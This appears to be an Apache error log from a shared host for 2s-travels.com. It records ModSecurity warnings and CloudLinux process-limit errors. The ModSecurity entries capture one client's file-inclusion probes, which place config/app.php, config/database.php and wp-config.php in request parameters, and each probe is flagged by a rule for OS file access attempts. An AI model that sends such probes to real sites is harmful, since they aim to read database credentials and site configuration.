[Fri Jul 17 08:55:50.716932 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvujME1mgqYZ5O94mcAAAAAE"]
[Fri Jul 17 08:55:50.717069 2026] [hostinglimits:warn] [pid 2031172:tid 2031172] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031172) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.717249 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgviRF0UOO1RzB5_8uOgAAAA4"]
[Fri Jul 17 08:55:50.717344 2026] [security2:error] [pid 2031172:tid 2031172] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvujME1mgqYZ5O94mcAAAAAE"]
[Fri Jul 17 08:55:50.733633 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:google-language-translator-css: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvkgVnBK6wAv37w6sgAAAABQ"]
[Fri Jul 17 08:55:50.734368 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvkgVnBK6wAv37w6sgAAAABQ"]
[Fri Jul 17 08:55:50.734491 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.734787 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvkgVnBK6wAv37w6sgAAAABQ"]
[Fri Jul 17 08:55:50.736307 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:google-language-translator-css: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvvwooI4qY7Jg93pVoAAAABM"]
[Fri Jul 17 08:55:50.736983 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvvwooI4qY7Jg93pVoAAAABM"]
[Fri Jul 17 08:55:50.737155 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.737446 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvvwooI4qY7Jg93pVoAAAABM"]
[Fri Jul 17 08:55:50.753835 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:google-language-translator-css. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:google-language-translator-css: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvhJ0z2bEtnOrIXVAmgAAAAk"]
[Fri Jul 17 08:55:50.754515 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvhJ0z2bEtnOrIXVAmgAAAAk"]
[Fri Jul 17 08:55:50.754698 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.755022 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvhJ0z2bEtnOrIXVAmgAAAAk"]
[Fri Jul 17 08:55:50.759515 2026] [hostinglimits:warn] [pid 2031172:tid 2031172] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031172) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.769467 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.769972 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.770282 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.770860 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.771492 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.794809 2026] [hostinglimits:warn] [pid 2031172:tid 2031172] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031172) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.798714 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.816927 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.827247 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.832783 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.853908 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.853908 2026] [hostinglimits:warn] [pid 2031172:tid 2031172] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2031172) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.869883 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.887795 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:path_2: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvvwooI4qY7Jg93pVowAAABM"]
[Fri Jul 17 08:55:50.888436 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvvwooI4qY7Jg93pVowAAABM"]
[Fri Jul 17 08:55:50.888560 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.888869 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvvwooI4qY7Jg93pVowAAABM"]
[Fri Jul 17 08:55:50.891544 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:path_2: wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvkgVnBK6wAv37w6sgwAAABQ"]
[Fri Jul 17 08:55:50.892119 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvkgVnBK6wAv37w6sgwAAABQ"]
[Fri Jul 17 08:55:50.892215 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.892452 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvkgVnBK6wAv37w6sgwAAABQ"]
[Fri Jul 17 08:55:50.896942 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:path_2: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvvwooI4qY7Jg93pVpAAAABM"]
[Fri Jul 17 08:55:50.897580 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvvwooI4qY7Jg93pVpAAAABM"]
[Fri Jul 17 08:55:50.897703 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.897960 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvvwooI4qY7Jg93pVpAAAABM"]
[Fri Jul 17 08:55:50.898998 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/database.php" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/database.php found within ARGS:path_2: config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvhJ0z2bEtnOrIXVAngAAAAk"]
[Fri Jul 17 08:55:50.899640 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvhJ0z2bEtnOrIXVAngAAAAk"]
[Fri Jul 17 08:55:50.899762 2026] [hostinglimits:warn] [pid 2015125:tid 2015125] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2015125) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:50.900087 2026] [security2:error] [pid 2015125:tid 2015125] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgvhJ0z2bEtnOrIXVAngAAAAk"]
[Fri Jul 17 08:55:50.902591 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:path_2. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:path_2: config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvlh1WDijTxd1xw5MmAAAAAc"]
[Fri Jul 17 08:55:50.903224 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgvlh1WDijTxd1xw5MmAAAAAc"]
